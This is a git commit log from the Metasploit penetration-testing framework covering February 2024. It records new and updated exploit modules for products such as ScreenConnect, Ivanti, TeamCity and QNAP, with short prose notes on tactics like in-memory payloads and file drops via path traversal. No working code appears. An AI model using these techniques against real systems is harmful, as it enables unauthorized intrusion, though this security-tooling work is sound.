Jack Heysel 4fe861c653 Land #18878, Update rspec gems
This PR updates a number of rspec gems which help improve test suite
error messages when string encodings are different.
2024-02-28 20:37:11 -08:00
adfoster-r7 131585235b Update SMB Login to support additional configuration 2024-02-28 20:24:06 +00:00
Balgogan 45ae984dc1 Add additional verification step 2024-02-28 20:30:58 +01:00
Balgogan b3d45f7d9b Fix oversight and further optimize code execution 2024-02-28 20:16:14 +01:00
Jack Heysel 8ce95003fe Rubocop 2024-02-28 11:09:34 -08:00
Jack Heysel 6589b86a4c Updated check method to account for backports 2024-02-28 11:04:38 -08:00
Balgogan 9f87510b50 Optimize code structure and enhance vulnerability check 2024-02-28 20:02:31 +01:00
sjanusz-r7 b423241e6b Use Rex Post MySQL Client for lib, specs & modules 2024-02-28 18:19:50 +00:00
sjanusz-r7 55a8d6732f Add Rex Proto MySQL Client 2024-02-28 18:19:46 +00:00
Metasploit 42255a27a6 automatic module_metadata_base.json update 2024-02-28 10:13:56 -06:00
adfoster-r7 26214cbfd2 Land #18889, Fresh SQL prompt when pressing enter if no input was provided 2024-02-28 15:40:43 +00:00
Jack Heysel 4b54d43db5 Land #18892, Add AD CS Updates for ESC13
This PR adds functionality to enable Metasploit users
to be able to exploit the latest ESC technique, ESC13.
2024-02-28 07:28:16 -08:00
Spencer McIntyre 1726767fdf Update the workflow docs for ESC13 2024-02-28 08:48:30 -05:00
Spencer McIntyre 8bc6705557 Move viewstate signing logic into Rex 2024-02-27 14:37:55 -05:00
KanchiMoe a887682e0f Upversion setup-python to v5 2024-02-27 19:20:22 +00:00
Zach Goldman 17d8fa2335 rename shell to query_interactive for sql session types, add -i flag 2024-02-27 11:38:04 -06:00
adfoster-r7 334f9e5ff9 Land #18893, updates the help command to consistently format columns 2024-02-27 17:04:00 +00:00
sjanusz-r7 efba30031d Fix early returns in Reline prompt 2024-02-27 16:59:38 +00:00
sfewer-r7 b7200b52e1 typo 2024-02-27 14:58:56 +00:00
sjanusz-r7 d51aa30fff Rex Table command column width based on longest dispatcher command with sane default 2024-02-27 13:11:24 +00:00
sfewer-r7 f52543b4a6 Older version of TeamCity (circa 2018) do not support access tokens, so we can fall back on creating an admin user accoutn before we upload the plugin. Creating an access token is better as we can delete the token, unlike the user account. 2024-02-27 12:01:57 +00:00
sfewer-r7 8bca294966 use the Faker library 2024-02-27 12:00:38 +00:00
Spencer McIntyre 75c6dcdc15 Detect templates that are vulnerable to ESC13 2024-02-26 17:28:42 -05:00
Spencer McIntyre 3cbf46c5b7 Reuse the ldap connection once established 2024-02-26 17:28:42 -05:00
Spencer McIntyre 4a51e028d8 Print multiple attributes on individual rows 2024-02-26 17:28:41 -05:00
Spencer McIntyre 97f75c19e4 Show the objectSID of groups as well 2024-02-26 17:28:41 -05:00
Spencer McIntyre fefc3cb73c Show names for issuance policy OIDs 2024-02-26 17:28:31 -05:00
Balgogan f04b66d6dd Add wp_bricks_builder_rce 2024-02-26 22:09:38 +01:00
sjanusz-r7 488d4c0387 Fresh SQL prompt when pressing enter if no input was provided 2024-02-26 16:49:15 +00:00
Simon Janusz b91430c878 Land #18886, Removes the 'run' command from SMB and SQL session types 2024-02-26 14:38:36 +00:00
cgranleese-r7 76a1518eab Removes the run command from SMB and SQL session type and improves smb session pwd commands error message 2024-02-26 10:55:11 +00:00
adfoster-r7 787a2cb19e Land #18872, add support for boolean datatypes on mssql 2024-02-26 10:51:58 +00:00
Gaurav Jain 1eea790759 Update spec tests for Msf::Ui::Console::CommandDispatcher::Session.rb
- Fixes spec test for sessions command where session id should be
  sent as a string and not as an integer
2024-02-25 17:35:53 +05:30
Gaurav Jain 597807316e Add -i option to Session mixin's sessions command 2024-02-25 15:32:46 +05:30
Metasploit 3759346f10 automatic module_metadata_base.json update 2024-02-23 13:43:57 -06:00
Jack Heysel f2de6d6357 Land #18870, Add ConnectWise ScreenConnect module.
This PR add an unauthenticatd RCE exploit for ConnectWise
ScreenConnect (CVE-2024-1709).
2024-02-23 11:25:33 -08:00
Jack Heysel 03e5b36008 Land #18833, fix for issue #18561
This PR catches an exception when updating a non-existing session.
Prior to this PR trying to run sessions -k after running workspace -D
would result in a stacktrace being printed to the console.
2024-02-23 11:18:03 -08:00
Dean Welch 39f518eebb Conditionally validate only when session type is enabled 2024-02-23 18:08:09 +00:00
sfewer-r7 d7a0dee7d1 @rad10 noted the download link we gave no longer works, but has provided a second link, so adding that to the docs 2024-02-23 17:54:14 +00:00
sfewer-r7 ebe6e54259 use the Faker module to gen the plugins metadata. 2024-02-23 17:48:01 +00:00
sfewer-r7 fe8867356e we can use Faker::Internet.uuid here instead of rolling our own uuid maker 2024-02-23 17:47:28 +00:00
sfewer-r7 f3af1836ce allow a custom USERNAME and PASSWORD to be specified if needed. Will default to a random value. Also use Faker::Internet.email to gen an email address 2024-02-23 17:46:49 +00:00
Dean Welch 355d5c2426 Enable new session types for tests 2024-02-23 17:45:19 +00:00
Dean Welch 559ab0f10d Add tests for optional session mixins 2024-02-23 17:12:25 +00:00
adfoster-r7 7c000bc101 Land #18880, Fix typo in SASL supported mechanisms 2024-02-23 17:12:00 +00:00
Jeffrey Martin dee2f2aa0d Fix typo in SASL supported mechanisms 2024-02-23 10:29:47 -06:00
adfoster-r7 9ae9e06017 Land #18879, update kerberos/inspect_ticket to include PAC credential information 2024-02-23 16:20:57 +00:00
Spencer McIntyre 0ade721bf1 Propagate precise encryption key length errors 2024-02-23 10:28:05 -05:00
Spencer McIntyre 94587433cd Add a presenter for the PAC credential information 2024-02-23 09:48:09 -05:00
Spencer McIntyre ca562a95d8 Truncate private data at 88 chars
Truncating at 87 was the exact length to trim the last byte of an AES256
kerberos key. Furthermore, adding the (TRUNCATED) string to the end
caused the resuting value to be larger than the original trucated value.
2024-02-23 09:46:44 -05:00
sfewer-r7 47596c6a0c add in docs 2024-02-23 14:30:53 +00:00
sfewer-r7 30e761831e we can also register this path for cleanup 2024-02-23 14:00:27 +00:00
Dean Welch 244e20a3d5 Update expected error in tests 2024-02-23 12:47:48 +00:00
sfewer-r7 d5bcac1370 improve check routine to include target platform 2024-02-23 11:49:38 +00:00
Spencer McIntyre 257ec484c7 Show names for x509 OID constants 2024-02-22 17:36:30 -05:00
Spencer McIntyre 4b7f4e2b0d Just show the DN, commas and all
This way the DN can just be copy-pasted into locations where a DN is
expected.
2024-02-22 17:36:30 -05:00
adfoster-r7 8fca7d188f Update rspec libraries 2024-02-22 21:02:37 +00:00
sfewer-r7 003d5e7006 The check routine can now display the targets platform in addition to the version number (we can determine this with a single request, so there is no major change here). This is usefull so you know what platform to set the exploits target to (so you can select an appropriate payload). Thanks @iagox86 for the idea! 2024-02-22 19:23:48 +00:00
Zach Goldman d65827367f Land #18874 Fix undefined mssql_query method call on mssql client 2024-02-22 13:35:04 -05:00
errorxyz 97513d473f Update manageengine_endpoint_central and servicedesk_plus default payloads 2024-02-23 00:00:18 +05:30
Metasploit a183289945 automatic module_metadata_base.json update 2024-02-22 12:17:58 -06:00
Dean Welch 8bc50c1d3a Add conditional option validation depending on SESSION or RHOST connection 2024-02-22 17:57:20 +00:00
adfoster-r7 f3a637b4e9 Land #18873, fix the create session datastore option from appearing for payloads 2024-02-22 17:50:52 +00:00
Zach Goldman 854dcc5776 add support for boolean datatypes on mssql 2024-02-22 11:08:49 -06:00
sfewer-r7 27a1233de8 Turns out only x64 is supported on Windows, so remove ARCH_X86, as if we try to inject an x86 payload in-memory we crash the target x64 service. 2024-02-22 16:41:18 +00:00
sjanusz-r7 a07d1c88be Fix undefined mssql_query on mssql client 2024-02-22 16:41:10 +00:00
sfewer-r7 79bfbe4310 now that Linux is a target we have to move this to the multi directory 2024-02-22 16:34:43 +00:00
Spencer McIntyre 2c09f385d6 Land #18849, Improve visual indentation
Improve visual indentation logic for tables
2024-02-22 11:23:53 -05:00
cgranleese-r7 d52220cccb Fixes the create session datastore option from appearing for payloads 2024-02-22 14:58:41 +00:00
sfewer-r7 65cb30b0a4 update docs 2024-02-22 14:55:02 +00:00
sfewer-r7 0b14d1b495 add a Linux command payload target, tested on version 20.3.31734. We leverage the path traversal CVE-2023-1708 to ensure the dropped ASHX file can be reached. This was blocking the Linux target from working. Also works fine on Windows. We leverage FileDropper mixin to delete this file. 2024-02-22 14:54:45 +00:00
sfewer-r7 8b4fee010c remove the full stop to make it easier to copy andpast the password (and not accidentaly copy the full stop charachter) 2024-02-22 14:52:18 +00:00
adfoster-r7 d76dd4a7fb Improve visual indentation logic for tables 2024-02-22 14:43:29 +00:00
Gaurav Jain b2cb102c9b Merge branch 'rapid7:master' into manageengine 2024-02-22 17:20:28 +05:30
Gaurav Jain 51dcd5c971 Update splunk cve-2023-32707 to use reviewed changes 2024-02-22 17:13:44 +05:30
adfoster-r7 4af5c5438f Land #18830, SQL sessions consolidation 2024-02-22 11:42:11 +00:00
Metasploit c5eb4eb8a9 Bump version of framework to 6.3.58 2024-02-22 03:35:01 -06:00
Christophe De La Fuente a1a0df74eb Land #18866, Update Windows 11 Mimikatz support - update metasploit-payloads gem to 2.0.166 2024-02-22 09:50:35 +01:00
sfewer-r7 eded0e7788 POST the payload.encoded data when we trigger the ASHX file, this way we dont drop the Metasploit payload to disk. 2024-02-21 23:38:35 +00:00
sjanusz-r7 085071da02 Convert generic SQL mixin into a class 2024-02-21 18:01:55 +00:00
sfewer-r7 f6b1c9b1ce add in docs 2024-02-21 17:44:16 +00:00
sfewer-r7 e0ee7940d0 CISA has assigned this vulnerability CVE-2024-1709 2024-02-21 17:12:08 +00:00
sfewer-r7 2839683af5 use Rex::RandomIdentifier::Generator to generate identifiers. 2024-02-21 17:08:40 +00:00
Metasploit aefebd996a automatic module_metadata_base.json update 2024-02-21 11:07:58 -06:00
Jack Heysel 0aa20c73a4 Land #18832, Add exploit module CVE-2023-47218
The PR adds a module targeting CVE-2023-47218, an
unauthenticated command injection vuln affecting QNAP
QTS and QuTH Hero.
2024-02-21 08:48:30 -08:00
sjanusz-r7 1b7c2bbaec SQL sessions consolidation 2024-02-21 16:16:14 +00:00
sfewer-r7 10f11c94e1 improve the error description for failure messages 2024-02-21 16:11:50 +00:00
sfewer-r7 9828ffa870 add an in-memory payload target 2024-02-21 16:07:01 +00:00
sfewer-r7 2d8b0f414d remove redundant slashes in other calls to normalize_uri 2024-02-21 16:04:19 +00:00
sfewer-r7 61c1a513a5 drop the leading forward slash 2024-02-21 15:59:25 +00:00
dwelch-r7 cc565a1731 Land #18871, Fix crash when using webconsole 2024-02-21 14:05:16 +00:00
adfoster-r7 82c2eb9899 Fix crash when using webconsole 2024-02-21 13:53:17 +00:00
sfewer-r7 6d473b2424 remove debug prints 2024-02-21 13:30:06 +00:00
sfewer-r7 c529749f77 fix tabs 2024-02-21 13:14:35 +00:00
cgranleese-r7 7b618d4f41 Land #18817, Improve options display optional session types 2024-02-21 13:03:45 +00:00
Dean Welch bf1608a4ad Show session/rhost options separate from each other 2024-02-21 12:51:11 +00:00
Metasploit f70667124f automatic module_metadata_base.json update 2024-02-20 17:56:50 -06:00
bwatters d21e4080a9 Land #18792, Ivanti Connect Secure - Unauth RCE (CVE-2024-21893 + CVE-2024-21887) #18792
Merge branch 'land-18792' into upstream-master
2024-02-20 17:40:12 -06:00
Spencer McIntyre b79790cff6 Update metasploit-payloads gem to 2.0.166
Includes changes from:
* rapid7/metasploit-payloads#698
2024-02-20 13:35:42 -05:00
adfoster-r7 06b3004af4 Land #18864, allias ls and dir commands inside new SMB session type prompt 2024-02-20 18:22:45 +00:00
cgranleese-r7 a30a7f81e5 Land #18865, Consolidate option dumps 2024-02-20 18:09:02 +00:00
Dean Welch e288592beb Add yard docs and small tidy up 2024-02-20 16:15:16 +00:00
Dean Welch 901a972a71 Remove extra CI test run 2024-02-20 14:48:04 +00:00
cgranleese-r7 4fcb4a4e3a Land #18863, Expose MSSQL initial connection info in client 2024-02-20 14:17:34 +00:00
cgranleese-r7 768ad16d8c Alias ls and dir inside new smb session type prompt 2024-02-20 14:15:30 +00:00
Dean Welch 175d584ff7 Consolidate option dump remove condition datastore condition on tests 2024-02-20 14:09:17 +00:00
sjanusz-r7 200d03c417 Expose MSSQL initial connection info in client 2024-02-20 11:36:10 +00:00
Metasploit a3d8b0f77a automatic module_metadata_base.json update 2024-02-19 10:41:33 -06:00
cgranleese-r7 e66f6c106b Land #18847, Add Proxies support to creating a session with postgres_login 2024-02-19 16:20:09 +00:00
cgranleese-r7 3be5988679 Land #18848, Add Proxies support to creating a session with mssql_login 2024-02-19 16:10:37 +00:00
Metasploit 2cc8281db7 automatic module_metadata_base.json update 2024-02-19 08:42:51 -06:00
cgranleese-r7 c2a217efcd Land #18854, Add Proxies support to creating a session with mysql_login 2024-02-19 14:27:22 +00:00
adfoster-r7 5735c7cb89 Land #18857, Documentation: Updated instructions for setting up msfdb 2024-02-19 13:38:03 +00:00
dwelch-r7 6db865a46c Land #18850, Fix failing ldap server tests 2024-02-19 12:39:52 +00:00
sjanusz-r7 b2f36e41c4 Add Proxies support to creating a session with mysql_login 2024-02-19 12:22:51 +00:00
sfewer-r7 edf2bae69a add native java payload support 2024-02-19 11:37:34 +00:00
Metasploit 66696d201b automatic module_metadata_base.json update 2024-02-19 05:33:15 -06:00
cgranleese-r7 db3b2de3f3 Land #18855, Use database_name for SQL sessions 2024-02-19 11:10:02 +00:00
dwelch-r7 0108f1f214 Land #18861, Removes SessionType values from modules with OptionalSession mixin 2024-02-19 10:57:41 +00:00
cgranleese-r7 de17261926 Removes session types from module with session type mixin 2024-02-19 10:34:16 +00:00
sfewer-r7 60bc412026 file_dropper_exist? needs to test if teh path if either a file or a directory, the logic for shell sessions on wqindows is testing if a path if a file and not a directory. this is wrong. Origionally FileDropper only supported cleaningup files, so this logic made sense (it was copied over from teh File post moduile) but FileDropper has since supported directories so teh logic here neds to reflect that. 2024-02-19 09:12:17 +00:00
sjanusz-r7 64ab62f2c3 Use database_name for SQL sessions 2024-02-17 03:31:58 +00:00
adfoster-r7 ca367bc87b Fix failing LDAP server tests 2024-02-16 23:43:07 +00:00
bwatters c298540bea Add documentation and fix default payloads 2024-02-16 16:49:49 -06:00
Metasploit 19c1a35592 automatic module_metadata_base.json update 2024-02-16 14:55:39 -06:00
Jack Heysel 8cddffa3d1 Land #18700, Add Kafka-ui Unauth RCE module
This PR adds an exploit module for CVE-2023-52251 which
is an unauthenticated rce vulnerability in Kafka's UI.
2024-02-16 15:38:52 -05:00
Metasploit eef29a5100 automatic module_metadata_base.json update 2024-02-16 14:31:32 -06:00
sjanusz-r7 bc6bf1c4f3 Add Proxies support to creating a session with mssql_login 2024-02-16 20:22:11 +00:00
Jack Heysel a1b0ff0fcf Land #18681, Update Apache Ofbiz w. Auth-Bypass
This PR updates the pre-existing apache_ofbiz_deserialization
module to include functionality that will bypass authentication by
using the newly discovered CVE-2023-51467.
2024-02-16 15:02:34 -05:00
sfewer-r7 a8408f139e add in ARCH_CMD payloads to get a native meterpreter session 2024-02-16 17:28:38 +00:00
sfewer-r7 32ed8eeedf rework some of the cleanup logic 2024-02-16 15:31:07 +00:00
sjanusz-r7 fc963bd8bb Add Proxies support to creating a session with postgres_login 2024-02-16 14:45:17 +00:00
adfoster-r7 94f0d243c7 Land #18846, msftidy_docs.rb add TARGETURI to universal option list 2024-02-16 14:23:33 +00:00
Christophe De La Fuente da9164fcc6 Add targeturi to universal option list 2024-02-16 12:58:49 +01:00
sfewer-r7 3483419d50 file_dropper_exist? was broken on the windows platform, so files registered for cleanup were not being deleted. We must call session.shell_command_token 2024-02-16 10:09:07 +00:00
sfewer-r7 04d501a7a7 make msftidy happy 2024-02-16 10:05:24 +00:00
sfewer-r7 cdba70b44d add in jetbrains teamcity rce 0day 2024-02-16 10:04:28 +00:00
jlownie 90ed3cd00a Merge pull request #1 from jlownie/jlownie-patch-1
Documentation: Updated instructions for setting up msfdb
2024-02-16 13:50:43 +11:00
jlownie 0e98da39c2 Updated instructions for setting up msfdb
Added some missing information
2024-02-16 13:43:40 +11:00
adfoster-r7 bbe1098b13 Land #18842, update docker image bundler args 2024-02-15 23:22:57 +00:00
Metasploit e15fd1a782 automatic module_metadata_base.json update 2024-02-15 16:35:11 -06:00
Jack Heysel 6c252de974 Docs plus minor edits 2024-02-15 17:12:11 -05:00
adfoster-r7 7b56d012e8 Land #18678, add LDAP capture capabilities 2024-02-15 22:11:04 +00:00
bwatters 9e75b70868 Add Windows target 2024-02-15 16:00:59 -06:00
adfoster-r7 40701bf59a Fix auhtentication typo in lib/rex/proto/ldap/auth.rb 2024-02-15 21:26:45 +00:00
n00bhaxor 57eda908d1 Added suggested modificaitons to check for nil response and modify reference link to vendor's issues page. 2024-02-15 13:28:44 -05:00
upsidedwn 8dcb409d25 Fix BUNDLER_CONFIG_ARGS variable mismatch in Dockerfile
Previous version of Dockerfile used `set clean 'true'`. However, this no longer works with "newer" versions of Ruby gems (rubygems/rubygems#3271), which now requires a force option when cleaning system gems.

Since there is no way to set the force flag through config, a new ARG (BUNDLER_FORCE_CLEAN) is used to provide the option of whether to run bundle clean --force on system gems.
2024-02-16 02:16:42 +08:00
bwatters 8a1f5de8f1 Fix msftidy issue and update file delete 2024-02-15 10:00:44 -06:00
bwatters 20563b64b2 add check method 2024-02-15 09:05:54 -06:00
randomstr1ng 564c3f8e02 merge sap_icm_paths.txt with seclists sap.txt wordlist and add paths related to potential information leak 2024-02-15 16:03:31 +01:00
Jack Heysel 4e4303c274 Fixed backup_bdc_metadata initialization 2024-02-15 09:26:54 -05:00
Metasploit 1d9a08f405 automatic module_metadata_base.json update 2024-02-15 07:43:02 -06:00
adfoster-r7 e49c6a792a Land #18770, Extract SMB, PostgreSQL, MySQL and MSSQL optional sessions into their own mixins 2024-02-15 13:19:37 +00:00
Metasploit 8e3daa5179 Bump version of framework to 6.3.57 2024-02-15 03:37:54 -06:00
SickMcNugget 69b566ce35 Wider runC version support, add Debian, fix bugs.
Now uses the Rex::Version system to check the user's version of runC.
The old system used to allow runC version 1.1.12 (which is patched).
Now it allows from 1.0.0-rc93->1.1.11 (and I tested that it works as expected).
Support added for Debian as this was tested with both Debian and Ubuntu.
Newer versions of Docker wouldn't delete the built container due to the message format.
I added a new regex to check for the message format which now deletes containers.

Fixed error reporting bug, runC version sanitising

Some runC versions contain the `+` and `~` token. These break
Rex::Version objects. A simple check was added against these symbols
and anything following them is cut off. Another solution may be
to replace these tokens with the `-` symbol to maintain information.
One of the failure cases was unreachable and this was fixed.

Fix runC and docker presence checks

The old runC and docker presence checks wer using `if` instead of `unless`.
executable? also requires a full path to work correctly. Since only the command
names themselves were being passed in, the check was silently failing.
The chosen fix was to instead use the command_exists? function,
which has the added benefit of working on both Windows and Linux.
2024-02-15 16:45:40 +08:00
bwatters 843c64d2f6 Code cleaned up 2024-02-14 19:08:11 -06:00
adfoster-r7 1d406cfc2a Land #18809, DNS command improvements 2024-02-14 22:12:30 +00:00
bwatters 67cd9b425b Working, but ugly 2024-02-14 15:42:50 -06:00
h00die-gr3y d716e60cf2 added base64 encoder module of zerosteiner 2024-02-14 21:33:50 +00:00
h00die-gr3y f5c71d09c2 using data/kafka_ui_versions.json for the version check 2024-02-14 20:57:46 +00:00
H00die.Gr3y 8b70cefd83 Update modules/exploits/linux/http/kafka_ui_unauth_rce_cve_2023_52251.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-14 20:57:46 +00:00
H00die.Gr3y 996ca8a7c9 Update documentation/modules/exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2024-02-14 20:57:46 +00:00
h00die-gr3y f75722ecf2 Small updates to module and documentation 2024-02-14 20:57:46 +00:00
h00die-gr3y dde7e3c5d3 Small tweaks to verbose messages 2024-02-14 20:57:46 +00:00
h00die-gr3y eafdb8495b Added documentation 2024-02-14 20:57:46 +00:00
h00die-gr3y d5f30befbb Second release of module 2024-02-14 20:57:46 +00:00
h00die-gr3y 3db32da70f First release of module. 2024-02-14 20:57:45 +00:00
h00die-gr3y 5f703b2e28 First draft. Not ready for review 2024-02-14 20:57:45 +00:00
Spencer McIntyre eca99e2c77 Refactor resolver types 2024-02-14 14:40:22 -05:00
Spencer McIntyre 27ccb26de1 Adjust the confirmation logic before resetting 2024-02-14 14:27:05 -05:00
Spencer McIntyre a75013e51a Land #18616, Fix aarch64 elf shared SIGBUS error
Fix aarch64 elf shared object bus error
2024-02-14 13:30:29 -05:00
Jack Heysel d987b81591 Use Rex MIME Message 2024-02-14 13:15:37 -05:00
Metasploit 7228a2ad20 automatic module_metadata_base.json update 2024-02-14 10:52:51 -06:00
Christophe De La Fuente 747d328bcb Land #18786, Fix option collision in service_persistence 2024-02-14 17:25:15 +01:00
Dean Welch fa5c4c0193 lowercase session types 2024-02-14 15:45:34 +00:00
Dean Welch 0d4e1ed755 Use mssql option session mixin with mssql modules 2024-02-14 15:37:11 +00:00
Dean Welch 587a8690a1 Use individual session mixins 2024-02-14 15:37:11 +00:00
Dean Welch 08872d0211 Add session type to info hash in the mixin 2024-02-14 15:37:11 +00:00
Dean Welch 0f319bdfb9 Extract SMB and PostgreSQL optional sessions into their own mixins 2024-02-14 15:37:11 +00:00
Spencer McIntyre df81cda304 Bump rex-socket to pull in validation changes 2024-02-14 09:39:51 -05:00
Metasploit 3447ca37ea automatic module_metadata_base.json update 2024-02-14 08:38:46 -06:00
n00bhaxor 35f8c6ce8a Added fixes suggested by reviewer. Added a fix for redirects due to workspaces being case-insensitive. 2024-02-14 09:09:52 -05:00
Christophe De La Fuente fc5a12431c Land #18664, Add an SMB-based fetch payload for Windows 2024-02-14 14:57:32 +01:00
dwelch-r7 bd78f03c98 Land #18834, Remove redundant require statements in tests 2024-02-14 12:33:33 +00:00
adfoster-r7 0d250c49fa Remove redundant require statements in tests 2024-02-14 12:26:08 +00:00
Metasploit 2409d132ae automatic module_metadata_base.json update 2024-02-14 05:09:43 -06:00
adfoster-r7 1794a5fbee Land #18763, Mssql session modules 2024-02-14 10:54:04 +00:00
Spencer McIntyre b6b382c4d2 Catch exception when updating non-existing session 2024-02-13 16:28:45 -05:00
Zach Goldman d18520adc6 update rhost and rport calls 2024-02-13 13:00:38 -06:00
Metasploit 9b4d6f1219 automatic module_metadata_base.json update 2024-02-13 12:35:36 -06:00
Christophe De La Fuente cb290d8032 Land #18807, Add a base64 ARCH_CMD encoder 2024-02-13 19:11:57 +01:00
Zach Goldman c05c6773df adjust session logic in modules 2024-02-13 11:59:09 -06:00
Spencer McIntyre 1cd5b707bb Add additional platforms and decoders 2024-02-13 18:34:40 +01:00
Spencer McIntyre 49e689d909 Some improvements to the encoder
* Skip encoding when it is not necessary
* Use command -v instead of which for portability
2024-02-13 18:34:40 +01:00
Spencer McIntyre 9c6e1a584a Add a base64 ARCH_CMD encoder 2024-02-13 18:34:40 +01:00
sfewer-r7 423bf0c519 work in progress exploit module for cve-2023-47218 2024-02-13 17:32:14 +00:00
adfoster-r7 34a8b6c29c Land #18828, revert change to each_module for compatible nops 2024-02-13 12:18:48 +00:00
Dean Welch 94005719f4 Revert change to each_module for compatible nops 2024-02-13 11:15:27 +00:00
Metasploit ef54cfd0f3 automatic module_metadata_base.json update 2024-02-13 04:16:07 -06:00
adfoster-r7 b762d2ba65 Land #18795, Move CreateSession from advanced into basic options 2024-02-13 10:00:35 +00:00
bwatters cc0fc56874 Draft nonworking start 2024-02-12 17:44:24 -06:00
Metasploit d49f60282c automatic module_metadata_base.json update 2024-02-12 15:07:34 -06:00
Spencer McIntyre 202db99004 Land #18801, Fix revision number checks
Fix revision number checks in cve_2022_26904_superprofile.rb
2024-02-12 15:52:16 -05:00
Metasploit 793f3557a2 automatic module_metadata_base.json update 2024-02-12 14:47:24 -06:00
Spencer McIntyre 45365c8666 Land #18800, Fix revision number checks
Fix revision number checks for cve_2021_40449.rb
2024-02-12 15:19:56 -05:00
Spencer McIntyre ce0498377d Land #18798, fix version checks
windows/local/cve_2020_0787_bits_arbitrary_file_move (and similar) fails due to incorrect revision_number checks
2024-02-12 15:11:07 -05:00
Spencer McIntyre 8eb5aa6aa6 Land #18799, Fix revision number checks
Fix revision number checks for cve_2020_17136.rb
2024-02-12 15:01:45 -05:00
adfoster-r7 88e1e2e932 Land #18826, Fix a bug where clean up was not being invoked 2024-02-12 18:01:11 +00:00
adfoster-r7 84f4c3c13f Land #18820, fix incorrectly named shared example file 2024-02-12 17:59:26 +00:00
adfoster-r7 9e456a27e3 Land #18825, improve error message for incompatible sessions 2024-02-12 17:44:20 +00:00
dwelch-r7 8717e91a3c Land #18823, Fix module metadata platform list comparison 2024-02-12 17:31:46 +00:00
Spencer McIntyre d67aa2e250 Fix a bug where clean up was not being invoked 2024-02-12 17:24:24 +00:00
cgranleese-r7 982f92b9b6 Improve error message for incompatible sessions 2024-02-12 17:02:42 +00:00
dwelch-r7 8106dbe5e0 Land #18806, Improves unknown command handling 2024-02-12 16:59:44 +00:00
cgranleese-r7 450fd0876f Improve unknown command handling 2024-02-12 16:43:56 +00:00
Dean Welch 43eb2a7c9b be more specific with mssql mock 2024-02-12 16:12:37 +00:00
Metasploit 69eaf75b7a automatic module_metadata_base.json update 2024-02-12 09:53:41 -06:00
cgranleese-r7 b40f36e62a Land #18774, Add support for newer sqlcmd versions 2024-02-12 15:33:15 +00:00
Christophe De La Fuente a90ff41f71 Use casecmp? instead of casecmp 2024-02-12 16:20:12 +01:00
n00bhaxor 58eba131a8 fixed error with single character variable 2024-02-12 09:47:21 -05:00
dwelch-r7 2f4a1ac300 Land #18778, Fix source location tracking for Ruby kernel patches 2024-02-12 14:47:07 +00:00
n00bhaxor 3203c7cb66 corrected formatting and other errors with rubocop 2024-02-12 09:37:37 -05:00
Spencer McIntyre 7e5938061c Fix a bug where clean up was not being invoked 2024-02-12 08:51:10 -05:00
Dean Welch f9fb803af7 fix misnamed shared example and missing mssql mocks 2024-02-12 12:30:49 +00:00
adfoster-r7 5fa1ce8ed2 Add support for newer sqlcmd versions 2024-02-12 11:51:02 +00:00
adfoster-r7 3cf3d0995e Land #18813, fix broken hosts and services help command 2024-02-12 11:50:14 +00:00
cgranleese-r7 699afaff45 Adds some notification message about 6.4 release features 2024-02-12 11:37:47 +00:00
cgranleese-r7 5d165466ff Move CreateSession from advanced into basic options 2024-02-12 11:35:27 +00:00
n00bhaxor fdcd9e26ad Adding module for gitlab_email_disclosure 2024-02-09 20:51:45 -05:00
Spencer McIntyre 5036d28b44 Validate hostnames before storing them
This proactively fixes a potential DoS condition where if a user were to
add a hostname containing a ; and followed by data that is not an IP
address that MSF may fail to start.

Example:
dns add-static 'foo;bar' 192.0.2.1
save
2024-02-09 14:52:41 -05:00
Zach Goldman 94223f05fc update relevant modules to work with sessions
separate out optional session logic

fixing session handling
2024-02-09 13:18:49 -06:00
Metasploit 1d2acd67e4 automatic module_metadata_base.json update 2024-02-09 11:18:25 -06:00
cgranleese-r7 285fbe5ac5 Land #18812, Revert mssql_login TDSENCRYPTION value to false 2024-02-09 17:03:10 +00:00
Metasploit c1df6f2647 automatic module_metadata_base.json update 2024-02-09 10:49:10 -06:00
adfoster-r7 dc47d03503 Land #18706, Use PostgreSQL session type for Postgres modules 2024-02-09 16:33:56 +00:00
adfoster-r7 72932bdae1 Fix broken hosts and services help command 2024-02-09 16:28:47 +00:00
adfoster-r7 37ee910d2f Revert mssql_login TDSENCRYPTION value to false 2024-02-09 16:07:45 +00:00
Metasploit 0c83ad46aa automatic module_metadata_base.json update 2024-02-09 09:43:25 -06:00
sjanusz-r7 30fc29e0f5 Use PostgreSQL session type for modules 2024-02-09 15:38:06 +00:00
adfoster-r7 9caa2fac17 Land #18747, Add new mssql session type 2024-02-09 15:27:43 +00:00
Spencer McIntyre 99b2bfec1f Support -1 in the --session argument 2024-02-09 08:57:23 -05:00
Zach Goldman 2c60780dc0 Add MSSQL session Type 2024-02-09 07:27:01 -06:00
sfewer-r7 1f292c8a73 remove the linux and unix targets in favor of a single automatic target 2024-02-09 09:26:08 +00:00
Spencer McIntyre 1b2a2af4d4 Fix unit tests on Ruby 3.2 because IPAddr =~ fails 2024-02-08 17:10:49 -05:00
Spencer McIntyre 56d2dfa46a Fix removing invalid DNS rule IDs 2024-02-08 17:00:40 -05:00
Spencer McIntyre 934b10a626 Fix a bug when dns -h is run 2024-02-08 16:52:45 -05:00
Spencer McIntyre 630301a0df Add versioning to the DNS configuration 2024-02-08 16:39:24 -05:00
Spencer McIntyre 1cab98f4c2 Support multiple addresses for a static hostname 2024-02-08 16:05:54 -05:00
Gaurav Jain 184ed3a162 Add suggested changes 2024-02-09 02:22:20 +05:30
Spencer McIntyre 62e960352f Refactor naming entries as rules 2024-02-08 13:05:53 -05:00
Spencer McIntyre 243ebcb3a6 Add some missing documentation 2024-02-08 13:05:53 -05:00
Spencer McIntyre c1a08b97d2 Load the termux hosts file path too 2024-02-08 13:05:50 -05:00
Spencer McIntyre 11ca24e290 Specify the record type for PTR lookups 2024-02-08 11:22:33 -05:00
Spencer McIntyre 5c9b454291 Change initialization to allow reseting
Change how the resolver is initialized so the instance can be reset to
sane default values loaded from the operating system.
2024-02-08 11:22:33 -05:00
Spencer McIntyre 2653a180e4 Update tests add new initialization methods 2024-02-08 11:22:33 -05:00
Spencer McIntyre 648a7b394d Update configuration saving and loading 2024-02-08 11:22:33 -05:00
Spencer McIntyre bd7d4f0099 Add commands to manage static hostname records 2024-02-08 11:22:33 -05:00
Spencer McIntyre fcd84a41aa Add a DNS resolver for static entries
Move support for static entries out of the cache so it can be controlled
like the other resolvers.
2024-02-08 11:22:33 -05:00
Spencer McIntyre d940bfd312 Show the number of cached dns records 2024-02-08 11:22:33 -05:00
